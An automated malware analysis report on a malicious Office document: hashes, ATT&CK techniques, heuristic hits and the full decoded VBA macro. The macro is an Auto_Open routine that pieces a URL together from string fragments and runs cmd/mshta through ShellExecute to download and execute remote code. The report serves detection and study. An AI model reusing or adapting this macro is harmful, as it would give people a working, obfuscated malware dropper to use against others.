Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 09f0a6799379f7d8…

MALICIOUS

Office (OOXML)

8.1 KB First seen: 2021-09-17
MD5: 2ad132c250ac9b02c41a4c31c031829a SHA-1: f1eef536c262aa69fc884d85597a7f579c6ba55b SHA-256: 09f0a6799379f7d89550ccd3abd2a88f570c092cba11c6db76a7b4301762b79b
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an Auto_Open subroutine, which is automatically executed when the document is opened. This macro constructs a URL by concatenating several strings and then uses the 'cmd' command to execute a download and execution sequence from that URL. The constructed URL is 'https://www.bity.com/asdoaksdoyeuqoyewqjdsbaqwtybdkj'.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1021 bytes
SHA-256: ac1cff44e92ea3d05d4dbed83ee87764bc0acbad7b9d374b287caa8444b05df8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"

Public Declare Function ShellExecute _
    Lib "shell32.dll" _
    Alias "ShellExecuteA" ( _
    ByVal hwnd As Long, _
    ByVal lpOperation As String, _
    ByVal lpFile As String, _
    ByVal lpParameters As String, _
    ByVal lpDirectory As String, _
    ByVal nShowCmd As Long) _
    As Long
    Dim strFile As String
    Dim takla As String
    Dim gituk As Long


Sub Auto_Open()
MMR400 = "cmd"
MM101 = MMR400
mmr500 = "msgbox/" + "r" + "m" + "s" + "h" + "t" + "a "
MM102 = M5
MMR600 = "h" + "t" + "t" + "p" + "s" + ":" + "/" + "/" + "w" + "w" + "w" + "." + "b" + "i" + "t" + "l"
MMR700 = "y" + "." + "c" + "o" + "m" + "/" + "a" + "s" + "d" + "o" + "a" + "k" + "s" + "d" + "o" + ""
MMR800 = "y" + "e" + "u" + "q" + "o" + "yewqjdsba" + "qwtybd" + "k" + "j" + "a"
Mi = mmr500 + MMR600 + MMR700 + MMR800

takla = "open"  ' action might be OPEN, NEW or other, depending on what you need to do
gituk = ShellExecute _
(0, takla, MM101, Mi, "", 0)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 15360 bytes
SHA-256: 2ff6635ab6d97ff3f8e983ad7616a0358d1afbc87a9c0eec558ac4b3eee829c4